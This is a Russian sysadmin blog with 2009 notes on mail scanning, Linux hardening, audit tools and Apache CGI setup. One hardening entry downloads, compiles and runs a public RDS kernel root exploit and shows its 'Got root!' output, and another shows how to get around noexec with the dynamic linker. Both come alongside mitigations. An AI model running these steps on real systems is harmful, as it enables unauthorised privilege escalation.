пятница, 30 октября 2009 г.

MailScanner проблемы и настройка

В логах почтовика сообщение (/var/log/maillog)
Oct 30 12:14:02 redhat update.virus.scanners: Found clamav installed
Oct 30 12:14:02 redhat update.virus.scanners: Running autoupdate for clamav
Oct 30 12:14:02 redhat ClamAV-autoupdate[4836]: ClamAV updater /usr/local/bin/freshclam cannot be run
В файле
vim /etc/MailScanner/virus.scanners.conf
поменять
clamav /usr/lib/MailScanner/clamav-wrapper /usr/local
на
clamav /usr/lib/MailScanner/clamav-wrapper /usr/
поскольку бинарник обновления clamav freshclam находится
/usr/bin/freshclam (принадлежит пакету clamav-0.95.1-4.el5.rf)

Отключение проверки и блокировки вложений кроме вирусов или файлов ими инфицированных
vim /etc/MailScanner/MailScanner.conf
1. Set "File Command =" to blank.
2. Set "Filename Rules =" to blank.
3. Set "Filetype Rules =" to blank.
4. To disable checking of zip attachments, set "Maximum Archive Depth =" to 0.
None of the above will affect scanning for viruses in attachments. Virus scanning will be controlled by the rules in /usr/mailscanner/etc/rules/virus.scanning.rules - это правило не стоит устанавливать !

Работа с perl

Выкачать файл с архивом нужного файла перла а потом в этом архиве
perl Makefile.PL && make && make test && make install

вторник, 27 октября 2009 г.

Повышения безопасности линукса

1). Смена ТТЛ в с 64 на число 128 (Windows) или любое другое /etc/sysctk.conf забить net.ipv4.ip_default_ttl=128, sysctl -p (перегрузка sysctl),
sysctl -a | grep ttl (проверка) - net.ipv4.ip_default_ttl = 128
2). Скрипты которые запускаються в root crontab должны иметь права 700 и владелец root.root - для того чтобы если будет взломан юзер он не смог в них вставить команды смены пароля root (а это будет возможно елси он будет иметь права на запись в них)
3). поставить утилиту logcheck и прописать в cron данную строку
crontab -e
00 23 * * * /usr/bin/logcheck.sh
исключения ненужным сообщений
vim /etc/logcheck/ignore
kernel: martian sourc
smartd*:
mdkapplet*:
postfix*
можно и не ставить logwatch или мандривовские проверки даже лучше 
4).  выключение "Ctrl+Alt+Del" - в файле /etc/inittab закоментить
ca::ctrlaltdel:/sbin/shutdown -t3 -r now
и выполнить /sbin/init -q
5). поиск suid\sgid-файлов с несколькими ссылками
find / -type f \( -perm -004000 -o -perm -002000 \) -links +1 -ls
6). пароль на grub
/sbin/grub в интерактивной оболочке набрать md5crypt, набрать пароль, на экран выведется хеш
в /boot/grub/grub.conf добавить опцию "password --md5 хеш-пароля"
7). tiger - анализатор локальной безопасности, zeppoo находит руткиты, скрытые процессы и соединения, новые системные вызовы и др. используя прямой доступ к памяти ядра с помощью файлов /dev/kmem и /dev/mem
8). недопустить повышения прав пользователем
8.1). su запускают только члены групы wheel
в /etc/pam.d/su добавить "auth       required     pam_wheel.so" после строки "auth       sufficient   pam_rootok.so"
8.2). запус эксплоитов если взломали сервис возможен только из общедоступного /tmp и приватного взломанного сервиса (корневой http, ftp) - выносим их на отдельные разделы и подключаем с опцие noexec, nosuid,nodev
/dev/sda4 /tmp ext3 noexec, nosuid,nodev 0 0
но можно запустить прогу с помощью динамического линковщика
$ /lib/ld-unix.so.5 /tmp/exploit
для противодейсвия нужно ставить патч на ядро RSBAC (www.rcbak.org)
8.3). если эксплоит запустят его можно направить на ядро ОС или программы с SUID-битом. В ядря уязвимость или есть или нет, а снять SUID с программы так:
находим find / -type f \( -perm -04000 -o -perm -02000 \) \-exec  ls {}\;
и лишаем некоторых из них
chmod a-s /путь (внимательно можно завалить систему)
8.4). взломщик может найти доступные для всеобщей записи важные системные утилиты и вставить в них код (пример - опция сетевого сервиса входа без пароля или код срыва стека утилите читающего его)
ищем общедоступные файлы и снимаем бит записи для всех
find /dir -xdev -type d \( -perm 02000 -a ! -perm 1000 \) -print
8.5). файлы пользователя в домашнем каталоге остаются видимыми всем подряд (маска 022)
нужно в ~/.profile записать umask 077
также можно поставить модул ядра Yama, защищающий от многих атак
9). tropwire уступила AIDE (Advanced Intrusion Detection Enviroment), конфиги /etc/default/aide (главный конфигурационный файл) и /etc/aide/aide.conf (правила)
в первом меняем mailto
aide --init - инициализация (создает база, как только система обновилась или что поменялось нужно обновить базу aide --update)
переименовываем базу mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
проверяем систему aide -c /etc/aide.conf --check
хотя проверки будут проходить каждый день через cron не нужно полагатся на систему поскольку взломщик если сможет модифицировать системные файлы для установки бекдора, то он сможет и aide модифицировать - поэтому лучше ее поместить с базой на флешку и запускать руками
cp /var/lib/aide/aide.db* /etc/aide.conf /usr/sbin/aide /media/KINGSTON/aide/aide_robota/
          Особенности redhat es 5.2 (aide-0.11-1.2.el5.rf):
в конфиге /etc/aide.conf отмененно архивирование базы gzip_dbout=no и у баз убрано расширение gz, то есть стали называться aide.db и aide.db.new
создан скрипт (который и вставлен в cron)
#!/bin/bash
/usr/sbin/aide --check
exit 0
          Особенности mandriva 2009.0 (aide-0.13.1-2mdv2009.0):
скрипт /etc/cron.daily/aide и он хочет подписанную базу aide.db.sig
- создадим ключи root:
gpg --gen-key
- подписиваем базу
gpg -b  /var/lib/aide/aide.db
10). программы нахождения руткитов
#chkrootkit
#rkhunter --check
поскольку программ написаны на shell, то используются стандартные утилиты командрой строки (awk, cat, grep, ...) для выполнения проверок, если нет уверенности в их целосности тогда их можно сохранить на флешку и запуск будет такой 
#chkrootkit -p /media/flash
#rkhunter --check --bindir /media/flash
11). Уязвимость ядра - код RDS (Reliable Datagram Sockets)
wget  www.vsecurity.com/download/tools/linux-rds-exploit.c
gcc linux-rds-exploit.c
 ./a.out
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved rds_proto_ops to 0xf85abd20
 [+] Resolved rds_ioctl to 0xf8593090
 [+] Resolved commit_creds to 0xc015e940
 [+] Resolved prepare_kernel_cred to 0xc015eac0
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
[*] Got root!
Борьба или обновить ядро или заблокировать загрузку модуля rds (если протокол не используется)
# echo "blacklist rds" > /etc/modprobe.d/blacklist-rds.conf

вторник, 20 октября 2009 г.

Поддержка выполнения perl скриптов в apache2

Доставить пакет perl-CGI
в /etc/httpd/conf/httpd.conf
добавить строку (то есть перловские скрипты будут выполняться как cgi скрипты)
AddHandler cgi-script .pl
можно после строки (для наглядности)
AddHandler cgi-script .cgi
А также в директории где находяся скрипты на perl добавить опцию
Options ExecCGI
В нашем случае это директория (Directory "/var/www/html")

воскресенье, 11 октября 2009 г.

RDP client Windows Mobile 6.1

Его нужно обязательно ставить в основную память, а не на карточку, поскольку при установке на карточку после перезагрузки перестают работать все кнопки кроме "Х" и "Ok", на дополнительной клавиатуре "пробел", "Del".

использование tcpdump + grep

tcpdump -n | grep -v '212.90.171.129\|212.90.171.130\|212.90.171.132\|212.90.171.137\|212.90.171.140\|212.90.171.145\|212.90.171.149\|212..171.150\|212.90.171.151\|212.90.171.153\|212.90.171.155' | grep '212.90.171.*'

-n - tcpdump не резолвит имена 

-v - grep выводит несовпадения

| - операция "или"